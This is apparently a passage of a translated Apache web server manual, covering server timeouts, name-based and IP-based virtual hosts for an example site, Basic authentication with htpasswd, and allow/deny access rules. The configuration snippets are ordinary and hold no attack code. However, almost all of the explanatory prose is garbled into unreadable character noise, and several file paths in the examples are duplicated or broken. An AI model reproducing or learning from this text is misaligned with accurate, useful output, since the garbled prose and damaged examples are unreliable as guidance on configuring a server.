2" ���! #�.�, )� �	 ��	�, �w"2�p #���1 ����12 � )� � . ��u	����  u� 1�u! �� _� � ���u%� � u" 

2"�p����	 � M��!� �� �	 n#& �V0, 2�#Y! number n�w. ��	,�2�2 .

KeepAliveTimeout

KeepAliveTimeout seconds
Default seconds: 15
Server config

   ��	 �	�0, �< �	���U ���   	 �}�.� �� � ��	 �s�         �kp�#u$ �j	��, )2�2 #� � �	�p ����12 
.�,�� �V0, � #.��	 ��	 M��!� ��� 
q�, �p ,�#�p.

TimeOut

TimeOut seconds
Default seconds: 1200
Server config

�" 2 
"�p��  � .�,� �kp�#$�   �p �����  2 �}��, "�  ��"   ����12 z,�  �q! �! #.�,�   � 2�& B
  �V0,,�#�p .�" 2 
"�p��  �"  �&�1�. �h� z" 2�2 #� :�x��	�n#.������  � �_	 � �����!� �

 v/�	 �#�pJ��!�d� 3,�2�&.��	��	 "� �#f, �p #&�	 J�~ ��� 
q�, 
"2 
"�p��	 ��2�& ��0.

1 Timeout 
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HostNameLookups

HostNameLookups [on|off|double]
Default: off    
Server config, virtual host

 � ���" 2 
"�p��  �on &�	   �#��	� �����!� J��!� 2�� � �	 " �s�>  #�    =�uqY, DNS   J�us.� 
,�     � �� )� 2 �p 2�&�   =2� IP , J�.�  )�	_  ��DNS   u, �  � =�� � 2�u& . , J�u. ���  2 )�u	_
�"�w.2�#�   n2�-��� ,�2�& .  ���off �	     =2� �� �#&IP  �  �	 �    n2�-��� )�  u,� 2�u& . ��	�u�	" 

��	���p 
�� ~�	 �" )� �#f, ��� ���	 off#&�	 .

Include

Include filename
Server config

filename    �	 n�&� " zn#.���,� #�p�  �	 �p�� "2 
"�p�� � �	 n#u.���� � #u�	�q�  ���u%�
,�2�&.   ��� filename   �	 "z  � 2 �#�p n�&� �1�& " :�^ 
 J��!n#.������ � � �1�u& )�  u" �

�1�& ���%� ��,�#.�&.

aXc X
�V� 
�+�)�]

" #, z"     ��� 
q�, �� � ���� #���V	�     � �	 � Gd��, � �#�	�q� #  "#�     #u�p �� � � )�  .� u" 

 � �p,� ���2 �	 )��!kill <PID> �p 2�2 J�s.� PID ����& #�"������� ����  .
2 ".�� Fq��	 n� ���������	 " )#�����2�2 2� � :

Gd��,�x��	 � )2�p�)� 2#s, :
% kill PID
% httpd [flags]

 )2����� �	+.�0.–HUP���� �	 �:
% kill –HUP PID

������	"  )#�.�<��],N  �,�  _� �	 )��!"  ��–USR1  2�2 J�s.�  . � 2"     �u	 Z� 
 #u�"���  �u� �
    n2�2 n�� � #.���,�          . t�p��! �� � #��p B,�p � 2�1 �p �p 2�&�   J��! ��n��1��      J�u�!� �u	 � 

#�.���	 . 2	���0� jd��, "���	 
"��	 Z� 
���	����" )#��� .
% kill –USR1 PID

��2��&�. J�s.�  �p2�1  � "   �p 
)  � ��� �	"    �1�& 2 �q�"  �0����� �>� �# (    :�u^ �u	
�"��� �:

#!/bin/sh
kill -USR1 `cat logs/httpd.pid`

1 Restart
2 Graceful restart



A=

O��� TU,:
�
�k� ���9�+4��

bXW X����9�+4�
�k� �
      �p n��� �2 �, M�k, 2 )��p��          �u� �p #.�2 2� � Z��� tV	 2  u" d z� �u����    � :��u-�, 

��&�� !��-�, � ��	 �     �. 2 � #.�2 Z��� �. �.���#  n�w	� �2 �	 �s�#.�2 �� . ��u	� � J�us.�  u" 

2 2� � Z� �2 �p2�:

? ." 9p z�  ���� �� �          , �2 )���/ �	 � n�w	� �2 �p 2�& �� � �  ��us, )�	_�  �#u�w. �
,�#�p  .�"M��Y, Z� 
�!"��� Z� 
.

@ . �2)" �	���0 (��������� ��p �� � � �� �p E"z �"� n�w	� z, �.�	_�,�#��p  .
 ��	 M��Y, n� #& ��-� �p �< )����, #�� 
�&�2 �q0! �)�	_�, B�.�	_��� ��us, �� �

"  z����� ���� � ���  .�" , 
�  ��.�	_URL  2�� GU�V, �    -U�V, :�#��>, �	 � �  , �&�w. �-
#��p .

  Up �< �	�   , {�. �2 � ��s, )�	_�  ���� 2 � , �  �Y! )��! " 2�p G :��X,�J�. �	 3��X, � �  �u	 
 =2�IP .���1 ��.� �	 �,�2� 2 �p��1�2�� E.

bX\ X����9�+4�
�k����$� ��9 �+ O
 :�.�q,� �� n2�-���HTTP 1.1������, � �", n2�-��� )� �� �p � �u��	 y!��, �	 Z� #��p �

  ���)"    ��� �� ����, Bd�#$ �"  #�Host  �u0� �.�X�       u>	 )~� �up #u�p ���     u�� �u�.� �� �   �u< 

#��uu>�( .� 2uu" , J�uu. �uu�����, Z� 
�  ��uu� n��uu�� � )�uu	_" #� M�uu��uu,�#uu��� .2

/site.virtual/Name-based �uu,  n�uuw	� �2www.butterthlies.com �sales.butterthlies.com
��   =2� 192.168.123.2 �2 "E . � ��X��" n�w	� 
 �	 ��"      2 � 2�1 J�. #DNS    #�u&�	 n2�up �Xh 
)" �,�.��!� 2 ��d�, #/etc/hosts�p �Xh�#(.n#.���� �#�	�q�� :�^ �	 "��� �:

User webuser
Group webgroup

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/customers
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/Name-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/Name-
based/logs/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerName sales.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/Name-based/logs/error_log

1 Name-based virtual host
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TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/Name-
based/logs/access_log
</VirtualHost>

2"�p��  Uu^� ��  � 2 " us�  �NameVirtualHost        ��u�� �u	 �up �u�� �   u, );u/��     �up #u�p 
������12� � �     =2� )� �	 n#IP    ���2 J�. =��� �	 #�	�  #& #����1  .       �u}. �u	 �u�� 
q�,
  2 �p #��	"�p��  �ServerName  $ tf. �!��  �� �2�2 � � " 2 
"�p��   ,�u. ���! ��    ��u�� �u	 � ��u	 �

   �	 )#.�2����	n��1��  , �V0, � #�p  .��0V	�<VirtualHost>    J�u. ou��! )��p� n�uw	���
 , �p� ���1 �  E�,#1 �2 �  n#& �V0, E#.� . � ���" 2 
"�p��   ���� �2�& \x$ �� � �  �#u0� J��
�X,�  � �	  u"
   �upwww.butterthlies.com  �sales.butterthlies.com � �    u��� Eu� �    � #u.�2 

2 �	 ��� 
q�,"�p�� �NameVirtualHost. �&�	 ��&�2 ���E.
RX_ X]XNameVirtualHost

NameVirtualHost� ", � )�q,� 
� �p #�2  =2�IP, ���.�	_���s, ��p �V0, � �E.
NameVirtualHost address[:port]
Server config

  �1� �< �	��� , �    . � n��2 n��& )��!�  2�p ���%� _ .  =2�IP �	 "      �u	 g	�u�, #IP   �uU	
<VirtualHost>   �	  �U	 � #&�	"  B,�& #"2 z"�p�� �ServerName n���� �	 " n#& �Xh J�. z

#&�	 . �. 2� ,�w�� �s�  ���� �p �"   �	 ����12 z", z�2 �2 J�. )�	_"   �u�p�U	 �2�up �u���
<VirtualHost>  �pIP �	�0, �    #.�2 �     M�X.2 �	 �  )� u"  zServerName      � n#u& �u���12 

 �#.�2, �s�> �#�p .
bXa X����9�+4�
�k� ���$� � �+ IP

 � 2" w.�w� �s�� � �#�	�q� ���� � ��	 �, �.�	_���s, ���X, �  �u	 IP  u, �u�-� � 2�u&  . n#u.���
��#�	�q�� �	 g	��, "��� �:

User webuser
Group webgroup

# we don't need a NameVirtualHost directive

<VirtualHost 192.168.123.2>
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/customers
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.3>
ServerName sales-IP.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/salesmen
ErrorLog 
/usr/www/APACHE3/APACHE3/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>
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� 2uu" �uu  
2" �uuw.uu����2 �uu	 "�p�uu� �NameVirtulaHost�#uu. "uu�� E��uu	 2 "�p���uu���
ServerName      �U	 �� 2 <VirtualHost>.� �2 ��"E. � " � 
�#�	�q�  	�1 �	 �   ���u���12 �	 �

http://www.butterthlies.com �http://sales-IP.butterthlies.com, ����  �#�2 .
bXb X����9�+4�
�k� ���/ �$�

 p�! Z��X� �X, �     � J�. �	 IP     u, Eu� � �   �u&�2 )��u! . �u�p�U	�<VirtualHost>    �up  ��u	�
NameVirtualHost � �#�	�q�   ������12 �	 #.� n#& ��� ��u	 n#�, � �u�.�	_� u��X, �   J�u. �u	 

��� , ��  f	 � #��2�  � ������12 �	�   �	 IP ��f, �   u, ���� �  #u��2  .� u"    ,�uw�� �up 
�  �� �up 
Apache SSL���1 n2�-������� E�, �2�p E:

User webuser
Group webgroup

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/customers
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.3>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/salesmen
ServerName sales-IP.butterthlies.com
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

, �2�uu��X, )�uu	_�2 �uu	 J�uu. �uu	 "�p�uu� �NameVirtualHost �p��uu� ��uu$ 2 �#uu.�2� �uup 
������12� � � �	 n#sales-IP.butterthlies.com  J�u�  �U	 o��!<VirtualHost>  :�,#u1

  ����,�#.�& ��	 �p�   =2� 192.168.123.3}�!�  ��� n#& E. � �	"     u&�	 ��&�2 � �! ��q. 
� #
�	 �p"��p�U	 #�VirtualHost��X, � �	 IP�	 "��p�U	 �� #���X,� J�. �	 	��"#� .
bXc X��
�k� )�+4���$� �7�M�� �+ 
,� ��s, )�	_� ��X, �     ��X, Z� �	�0, n��2 �	 �   �	 IP ���  ._," U^� �� �  u"     �u�� )� Z� 


 #, �p"  , �� ��   � 2�#Y! #.��! "2��n�w	� � �   ���! "  zIP u" , ��   )�u	_      �� n2�-�u�� )�#u	  2�#uY!
�"2�� , ���.�	_� ��X, �    J�. �	 "  �IP ��	 � ���p � �>! �   #u��p ���	  .       �� )��	�up yuU�� �.�-u���,

 n��2 n��&���. )�0&�1 M��Y, ���"#��� �� "��	 Z� 
����p �>	 )�,�� �-, ����� # .
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User webuser
Group webgroup
Listen 80
Listen 8080
<VirtualHost 192.168.123.2:80>
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/customers
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.2:8080>
ServerName sales-IP.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/IP-based/logs/access_log
</VirtualHost>

2"�p�� �Listen���� �	�, );/� ��	 �p #�p "n��2 �	 #���80 � 8080#�2 Z��  .
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�k�� TU,:
=�#�
	��	

��$��"���"  ��"������&  ��� �	 "#��  , ��-� �      �	�p )� 2 �p 2�& , :�Xh��   u>p )��� #�p�
   , �/2� �p ����#�p .  2��������  0V	 �� �  n2�2 ��  �1� 2 :�]-u^ � �� u�   )��	�up J�u�/ �

�" ��� �.���� �� �  q��p tV	 �  n2�2 ��    �	 of� �p ��"  �1� 2 #�    #u&�	 ��s, )��	�p � .  � �u,� u" 

��	�p��	 )�����2�� �	 "n2�2 
�	 ��" #�"�����$� �	 � 2�1 � n#& �����#�.����0	 ��  .

� 2"� n�]. �	 B�� 
�#�	�q���������� ���	 ��"�����$�, 2�1 )��	�p ���2��"E.
cXW X�	��	�g=�#�
	��	

�"�����$�   >	 B^� 2 �  ��� n2�� � .n��1��   � J�. _, E�� ���� �	 � 2�1 �, ��� ��u�� � #���
  2n#.�����  ��,�. �� �   )��	�p )"  ����& )��� ���� )��	�p  (  �E�����  _u,  u&#�  n#  �s�u> 

   � n2�p  �]^ _, E��    ��	 � n#& 2�� �, �#�p .#,", �� ��� #.��!��>� n���� �	 )��	�p �� 
_, E������2 � n2�p ��2 ��.� �#�p M���p 2�� �	 2�� � 2���� .
����� , 
� 2�#Y! )��!�    ���2 � 2���� �� #�	� � n2�p  u����2 g$� u"  u����2 ju�, ��  �u	 

   2�& J�s.� n��� =��� .  � M�< 2"   B�� 
bill  �ben   n��� ��/directors  �daphne  �sonia
   n��� 2cleaners#��>� .#,"  , �� ��  #.��!    ̂ �1 )��	�p �p #�p �X ������2 �  #�u&�	 ��&�2 

"   )��	�p � #& �Xh  n #�&�	 ��s, .     � 2�#Y! �	 ��� ��d ���"2��       &�	 ��&�2 �p � �� 2���� �� �  ���	 #
   ���2 � ��.� ���#�	� ��. �"# .��	� �2�� �  � 2 �n2�����  , ��� ��p�  E   _u, Eu��  �� �u��  �u0

 �	��	theft#�&�	 .�X. B�/ 2 ��& ��X��"�� #� 
_, E�� � n�!�pn2������. ��V�.� � �"# .
 �� ��  �	�p ����& K�/ _, E�� ��	 �" z���Ud3^�1� � J�uw�� �p ��� �X�Y,"  2�us  Eu��

_,�xw,�.� , �2�& . ��	 ����,�"  zURL ̂ �1 �   u, ����12 � #�u��� . ��u���    �u��� 2 
"Authentication Required")   #p7R? ( � ���Ud �,�#����. ����& �%�$ M�$ 2 ����, ��� 

  � _, E��  �1� 2 � �#&�	 ��&�2 �����& n���� �	 n�	�2 � ����12 �/ _u, E�� u, � #�u��� . 2
��� �" �:�^ 
��� �	�p ���, #Y	 � n#�#����.

  ��X��  �.�-�¡�,�"   �p 
>	� � ���� 
,��. �" ��_, E�� :�^ �	  �%��) n#u0. _, (�� �� 
 , n2������2�&)  _, E��    :�^ �	 base64 �x�#p � , � �� 2�&�  �$� �	 �     �u0� #up B	�d �"

���(.  ���1#	 E ��, ���, �!>, 2 #.������! �� �z_, E��#�p 2��& �  .�.�����	 �  \�u<�	 
 � )2�p"    n#& ���� GY% ��f. 
#.� .�"�����$� ��X, �  q� �	 �n#N&��     �� �p ��� "  z 2�2��ud

Challenge/Handshake ��	 ���U ���  �0�� �� � _, E��  , n2�-��� �#�p .   �� n2�-���SSL .  u� _
,�>	 #.��!�-, �� #&�	 #) B�� �	Error! Reference source not found.2�& �Y ��, .(
cX\ Xsite.authent

 2 ����k,site.authent#��>� n#��0, B	�d .���� 
n#.�����#�	�q�… /conf/httd1.conf �	�0,
�"� ���:

User webuser
Group webgroup

1 Realm
2 Digest authentication
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ServerName www.butterthlies.com
NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.authent/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/APACHE3/site.authent/logs/error_log
TransferLog /usr/www/APACHE3/site.authent/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.authent/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/site.authent/logs/error_log
TransferLog /usr/www/APACHE3/site.authent/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin

<Directory /usr/www/APACHE3/site.authent/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups
require valid-user
</Directory>

</VirtualHost>

� 2"� 
�#�	�q�� �� �#  _" ���� #2"�p� u�Up � u�#�AuthType Basic 2 <Directory 
…. salesmen>���  .�"2 
"�p�� ��"�����$�, M�Y� � �#�p .

cXa X������#���=�#�
	��	
 ���� ��� �V>. ?,D    #Y	 �	 ��,�.�n#.���X>.�)   �u	 �X>.    ��u��� �u0" (    �uq.� �uw, �#��u>� 
�^"  ��]    gU�, �< �	 #.�& �p� ."  z  J�.n#.���      �	 ��� ��� gU�,  /  2�u& {��& . � 2 u"   Bu�� 

��	���U  ��� ��  E��-!������2� ���, n2�-��� gU�, �2�&.

AuthType

AuthType type
directory, .htaccess

AuthType    M���p {�. �"�����$�   , �V0, � �#�p .   �#�	� 2Basic     =��u�2 2 {�u. ���!
2�	 . ���� ���?,? �	    #Y	 {�. n#�[� 3  ��Y, E� �    �p #&  q� �� u�  n#MD5   �  u"      ��u0, _u, z

, n2�-����#�p .

1 Digest
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  ���2"�p��  �AuthType  , n2�-��� � �	 �2�&"  2 �� #"�p������AuthName  �AuthGroupFile
 �AuthUserFile. �2�& n2�-��� _.

AuthName

AuthName auth-realm
directory, .htaccess

AuthName. ���Ud J��  �p �u���& �u��  �	�up �   �    _u, Eu��         � #��u>� �uX�Y, )� 2 �u�
 , �V0,�#�p .    ���Ud J�. �����2�  �U^�� o1 3  #&�	      ���,;/ �	 � )� ��       �u�], M�ud Buf. 

�p�#:
AuthName "sales people"

AuthGroupFile

AuthGroupFile filename
directory, .htaccess

AuthGroupFile�	� �	 2"�p�� �Group webgroup~�	 2 �n#.���� �#�	�q�2�#.  .�" 

2"�p��    J�. of� �n#.�����    n��� )� 2 �p ��� �	�p �  ��/� � �   n#& �V0, ��.� #.�� Y! � �u� 

,�#�p:

cleaners: daphne sonia
directors: bill ben

� �," 2 � 
… /ok_users/groups � n2�2 ��d2"�p�� �AuthGroupFile�2�#f, )� �	 � �
,��p�E .2"�p��  �AuthGroupFile  �d� �! �   �p 2"�p� u�  �require   �u�2 �u	� � � #u�	�q�   n#u0. 

h¡! �#&�	���2�#. .
AuthUserFile

AuthUserFile filename

AuthUserFilen#.�����  ����& �� ��� �	�p �   �  _, E�����    �u�� )�.� n#&_,  . � 2 u" 

	��0V	 2 n��#Y	 �B�-, ���1 b�& �!�2�2 E.

Require

require [user user1 user2 ...] [group group1 group2] [valid-user]
[valid-user] [valid-group]
directory, .htaccess

2"�p��Up ��#� �p �"�����$���	 � �"$�. z��X � ��, � #�prequire��� .

1 Space
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#.�.�0.3valid-user �	�p ���   �p   2n#.��� _, E��"   , � 2�& ����x�"2� . &�	 ya��,� #
   :�^ �	valid_user �! " �q. ��# !  �p       �u�1 )#u,� 2�u � �	 v/�	�� u�   	 Bu	�d � u�.��  J�uw��

����2�    �	 ����, n�w	�,�2�&!�"        ��u�� �up ��� )� �<�1 �	 
�valid_user      )��u�/ �u	 � 
 �	�p ����&� XY! � , ��p#� .    �p �s.� ��require o��! �.�������2#Y�, � u, n2�-��� �  �2�u& 2
 �%�$ M�$�.�Y! )��!��2�f, 2�p 
" � �X�Y,�" 
#.�.�0.� ��>.

file-owner
] �� =��uu�2 Buu	�d��uu���?,D,@R[ � �uu���&_uu, Euu���	 n#uu& �uu��� uu" #�� 2" n2�2 n�uuw

AuthUserFile   . � n2�	 2� �,�  _ �	�p ����&� �	 "#   J�. g	��,�.�,��      zu��, )���/ �	  n#u.���
  #&�	 n#& ����12 .�" #	 
" �Y, 
�     2 �� ��� �p ��� "  #�.�,��    z��, B,�/ n#.���jones  ���� 

)��	�p ����& n�����	 n2�-��� 2�,�����2 �� �	 " 
n#.��� _�.�	" #jones#&�	.
file-group

]��uu�� �� =��uu�2 Buu	�d�?,D,@R[ � �uu���& Euu��_uu,�	 n#uu& �uu��� uu"�� 2 #" n2�2 n�uuw
AuthUserFile    . � n2�	 2� �, �  _n����	�p�   z��, �pn#.���  �u�� � �	  u"    �u�/ #��"   n2�2 n�uw

AuthGroupFile. �	�p � n2�	 ���/ _�� �� " 
#&�	 n��� .
S�K�:
��	� )��	�p �p )� bill �ben � simon, 2���� ���! s��	 �������2 �#�&�	 :

require user bill ben simon

��	� n��� ��/ )��	�p ���! �p )� cleaners����2 �#�&�	 ��&�2 :
require group cleaners

satisfy

satisfy [any|all]
Default: all
directory, .htaccess

satisfy��  �������2�!�^ 2 � ��2 �� �� �p �allow � require   �#u&�	 n#u& n2�-��� 
!Y�� , 
�#�p . , ��,����  #.��!all"  �any #&�	  .�" 2 
"�p��  � ,�w�� ���!�����2�   �	 " z$�. u� �

  8�1   �2 o��!Z� ����& / _, E��   � , =2�� )�	_n��1��-, �#&�	 n#& 2�#], � �u�� # . 2
�"    ��u��$ 
    u� �u�� 2�    ��u� t(all) n��1�u� �	  u"    �u�� # 2�#u],"����   u����2 =2� �  � 

����&/  E��_,    � �X�Y,  2��� n2���	. _� �	"  ��any  �  �	n��1��  ����2 n�� � �  , n2�2 �  �u�� 2�&
 ���!"q���& �� "#�p n2���	 � e�� o .

 M�k, )���/ �	, �������1� 2���� _  �	 ��� �� En�w	�1.2.3.4_, E���p ����12 �E:
<usual auth setup (realm, files etc>
require valid-user
Satisfy any
order deny,allow
allow from 1.2.3.4
deny from all

1 Argument



A>

cXb X��	���4�� =3/�9#�he
�uuuu"�����$�salespeople ouuuu��!n#uuuu.��� _uuuu, Euuuu��sales 2 �uuuupuuuu>,� �

//usr/www/APACHE3/ok_users1��  , J�s.� n#& n��2�& .�" 
n#.��� �1�& �� �!~�	 "  �u0
  ��	��	 ���� 2����" � ��, 
�  �. n��1#	 
�     u����2 )� �u	 #�.��!� �  u�  #u��p �# . n#u.���sales  �u	
    �_	� �� n2�-���htpasswd    ��u�� n��u�� �p�    �#u�w. ��u�� �  u, � 2�u&.   � 
�u,  u"   2 �u,�.�	 


…/apache_1.3.1/src/support/htpasswd.c � ��� �	"� :�^ �	 � )� #" ��� �!�p �E:
% make htpasswd

   )#& ��1�� �� F�htpasswd  ��	"    �p �� � � )� #�E .��	� 2 "   ��u � n�]. )#�   )�    ��u�2 ��
, n2�-�����p�E:

% htpasswd -? 
Usage:

htpasswd [-cmdps] passwordfile username
htpasswd -b[cmdps] passwordfile username password

-c  Create a new file.
-m  Force MD5 encryption of the password.
-d  Force CRYPT encryption of the password (default).
-p  Do not encrypt the password (plaintext).
-s  Force SHA encryption of the password.
-b  Use the password from the command line rather than prompting for it.
On Windows and TPF systems the '-m' flag is used by default.
On all other systems, the '-p' flag will probably not work.

 �	�p M�$bill ��" � n2�p 2�s_, E��� � � theft�Y! ", G��p�E:
% htpasswd -m -c ... /ok_users/sales bill

   �	 �2 _, E������ , n#�2�& .   ��� )��p�  �	n#.��� _, E�� ��w. � 	 ���#�" � E�_� X& �  �	 �
� o1", ��	���E:

bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0
 Y	 )��	�p#�   , ���%� � ��p�  E)_�"  ��–c n#.��� #  "#� � ", 2�s���	��	 �#�p" 
 of�  �u	 2

, n2�-��� )� �� M����p�E:(
% htpasswd ... /ok_users/sales ben

  )��	�psonia  �daphne . ��  �p ���%� _�# . � 2"  �s� _, E��       � �u�.� �u�� "theft" �Y!  u" G
,��p�E)     �-� �p �< )��� ��X���.2 2 E���Yd�� �p�.��1 �p � � ���  u�� � n�u� � u"  � �up 


�0. yq!�,"#(!.
n#.���_, E��/… /ok_users/usersX& )��p� �� �	 �"��� �:

bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0
ben:$1$/S$hCyzbA05Fu4CAlFK4SxIs0
sonia:$1$KZ$ye9u..7GbCCyrK8eFGU2w. 
daphne:$1$3U$CF3Bcec4HzxFWppln6Ai01

  �	�p ����& ��� n���� �	 _, E�� n#& _,��� n#,�.� "��	 �p 
� �� �a�-$ _, E�� ��
 � ����"   ��! 2 Bd�#$ ����.�  )��!  � n#&_, ��"  
 _, E��  ��� _, E�� Uu^��    2�� �u�#	 � .

�p �/2� ��& ���� �p #bill�>�� � #Y���p � #_, E��� n#& _, ��p 2�� � �#:
$1$Pd$E 5BY74CgGStbs .L/fsoEU0
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�"   � n#& _, n�	�2 ��& 
��_�X& � �o09klks23O9RM,�X�! B	�d �p 2�&�. g� �u>.
 �	 )2�p n�w. �	n#.����. � �p �-� )��!_, E��� �"theft"��� .

cXc X=��!� #9���CGI
�"�����$�)  �2 �� Z� Basic   � Digest( , �   �� #�.��!��2��&�.���CGI.�  #��p �}��], _ .

��p� ��� "  �U	 z<Directory  …/cgin-bin>�Y! y���,"�p G�#.
cXj XOrder BAllow � Deny
 � �!"   �	 �s�     �&�2 �p � �� 2�-�, )��	�p�E .,�  )��!����2�    ���2� =��� �	 � �   8�1 IP  � J�.
,� ��.�	_"���� �� , J�u. � ���2� �� �  �u�.�	_  2�up M�u��p .  ����u�2allow from � deny from

#��>�.
!�!�X�   �p �����2�allow   � deny  , M��/� �  !�! )��� �#.�&�       2 )#u& ���ua y n#u.���

��#�	�q� . ��> .!�!�  y��t  ���deny    F9� � allow ���  :  n��1�u� ���    ou��! deny   ju�, 
 � �#&"  
n��1��  ����2 j�, � , �     �p )� �w, �2�&  �	"  zallowX�!� � g� #�p �# .     u� �u	 �u��� �

"X�! z�� g� �2�q. �#n��1������2 n�� � �� �, �#�#�p.
!�!�� M��/� y"2 �	 �����2 
"�p�� �orderY! B	�d ��
��� .

allow from

allow from host host ...
directory, .htaccess

2"�p��  �allow ����2 �   �	 "    , M���p � �1�& z�#�p.#.�.�0.host, � #.��!"q� u, ��  2��
�"#&�	 �:

all
 �	, J��!� ��.�	_����2 n�� ��, n2�2�2�& .

" ��,�2 J�. z) B,�p"�_  ��(
 J��!,���.�	_�" ��.� J�.� �	 �p" 
X�! J�.� #&�	 ��&�2 g

"� �	 �" 2�& E�1 ��& 
����2 n�� ��, n2�2 �2�& .
 B,�p =2�IP

��	� 2�#], "  �subnet  ��	"����      =2� J�� �! M�� IP 
����2 n�� ��, n2�2 �2�&.

 K��network/netmask
 �uu	 �qXuu&a.b.c.d �uu	 ��uud (mask)w.x.y.z  n��uu �

����2�, n2�2 �2�&.M�k,  :10.1.0.0/255.255.0.0
^�!� GCIDR�qX& 

 ��2 �qX&�nnn	�  �1     �u�� ~�u	 �uX!�, .   )��u�/ �u	 
 �uuu.��.10.1.0.0/16 �	�uuu0, 10.1.0.0/255.255.0.0

���.
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allow from env

allow from env=variablename ...
directory, .htaccess

2"�p�� �allow from env����2��� �	 � � 2� � �U"i�, z�], �� u��  u, M�u��p � #u�p .
��	�M�k, :

BrowserMatch ^KnockKnock/2.0 let_me_in
<Directory /docroot>
order deny,allow
deny from all
allow from env=let_me_in
</Directory>

 �	����2�����, � J�. �	 KnockKnock v2.0let_me_in�2�#f,�n#& �����2 n�� ��
, n2�2�2�&.

deny from

deny from host host ...
directory, .htaccess

2"�p�� �deny from����2 � �	 ", M���p � �1�& z�#�p .#.�.�0.host, � #.��!" uq� �� 
� 2��,"#&�	 �:
all

����2�, J��!� ��.�	_{���,, �2�& .
" ��,�2 J�. z) B,�p"�_  ��(

����2� , J��!���.�	_�"     � �	 �p ��.� J�. "  X�! J�. 
 u� g
 #&�	 ��&�2"� �	 �" 2�& E�1 ��& 
{���,, �2�& .

 B,�p =2�IP
��	� 2�#], "  �subnet  �����2��	"����    �u� �! M��  J

 =2�IP {���,,�2�&.
 K��network/netmask

����2� ��   �qXu& a.b.c.d    ��ud �u	(mask)w.x.y.z 
{���,, �2�& .M�k, :10.1.0.0/255.255.0.0

^�!� GCIDR�qX& 
 ��2 �qX&�nnn	�  �1     �u�� ~�u	 �uX!�,  .   )��u�/ �u	
 �uuu.��.10.1.0.0/16 �	�uuu0, 10.1.0.0/255.255.0.0

���.
deny from env

deny from env=variablename ...
directory, .htaccess
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2"�p�� �deny from env����2 ��� �	 � � 2� � �U"i�, z�], ����, M���p �#�p .��	�
M�k,:

BrowserMatch ^BadRobot/0.9 go_away
<Directory /docroot>
order allow,deny
allow from all
deny from env=go_away
</Directory>

 �	����2�����, � J�. �	 BadRobot v0.9i�, � �go_away�2�#f, � �n#& � �����2�
, {���,�2�& .

Order

order ordering
directory, .htaccess

#.�.�0.ordering  ���!"  , ��Up z�   #&�	 #.��!)#	" �Y, 
�    �X. )� o�� �p "  #&�	 �U^�� #(  � 
!�!�  y  M��/�2"�p������     � n#& �p� Y!�� , 
�#�p .   �2 ���order� �	 � u", z�   M�u�/� )�u	_

 �#.�&�1�" ��.� 
2�	 #���1 y���.
deny,allow

2"�p��  �deny    �� BXd 2"�p��  �allow�X��],  u, �  2�u&
)��t���.(

allow,deny
2"�p��� allow2 �� BXd "�p�� �deny, �X��], �2�&.
mutual-failure

